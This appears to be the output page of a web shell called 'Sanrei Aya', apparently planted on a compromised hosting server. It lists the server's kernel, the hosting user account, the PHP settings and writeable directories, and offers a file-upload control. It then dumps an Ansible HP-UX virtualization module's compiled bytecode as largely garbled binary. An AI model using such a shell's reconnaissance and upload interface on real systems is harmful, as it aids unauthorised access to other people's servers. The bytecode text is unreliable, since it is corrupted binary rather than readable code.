Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/virtual/__pycache__/hpux.cpython-39.pyc
a

�)g<�@s\ddlmZmZmZeZddlZddlZddlm	Z	m
Z
Gdd�de	�ZGdd�de
�ZdS)�)�absolute_import�division�print_functionN)�Virtual�VirtualCollectorc@seZdZdZdZdd�ZdS)�HPUXVirtualzv
    This is a HP-UX specific subclass of Virtual. It defines
    - virtualization_type
    - virtualization_role
    �HP-UXcCsTi}t�}t�}tj�d�rP|j�d�\}}}|dkrP|�d�d|d<d|d<tj�d�r�|j�d�\}}}|dkr�t�d|�r�|�d	�d|d<d	|d<n^|dkr�t�d
|�r�|�d�d|d<d|d<n.|dkr�t�d|�r�|�d
�d|d<d
|d<tj�d��r@|j�d�\}}}|dk�r@|�d�d|d<d|d<||d<||d<|S)Nz/usr/sbin/vecheckrzHP vParZguestZvirtualization_typeZvirtualization_rolez/opt/hpvm/bin/hpvminfoz.*Running.*HPVM vPar.*z	HPVM vParz.*Running.*HPVM guest.*zHPVM IVMz.*Running.*HPVM host.*ZHPVM�hostz/usr/sbin/parstatuszHP nParZvirtualization_tech_guestZvirtualization_tech_host)	�set�os�path�exists�moduleZrun_command�add�re�match)�selfZ
virtual_factsZ	host_techZ
guest_tech�rc�out�err�r�K/usr/lib/python3.9/site-packages/ansible/module_utils/facts/virtual/hpux.py�get_virtual_facts!s@







zHPUXVirtual.get_virtual_factsN)�__name__�
__module__�__qualname__�__doc__�platformrrrrrrsrc@seZdZeZdZdS)�HPUXVirtualCollectorrN)rrrrZ_fact_classZ	_platformrrrrrFsr)
Z
__future__rrr�typeZ
__metaclass__rrZ'ansible.module_utils.facts.virtual.baserrrrrrrr�<module>s-

Yohohohohohooho | Sanrei Aya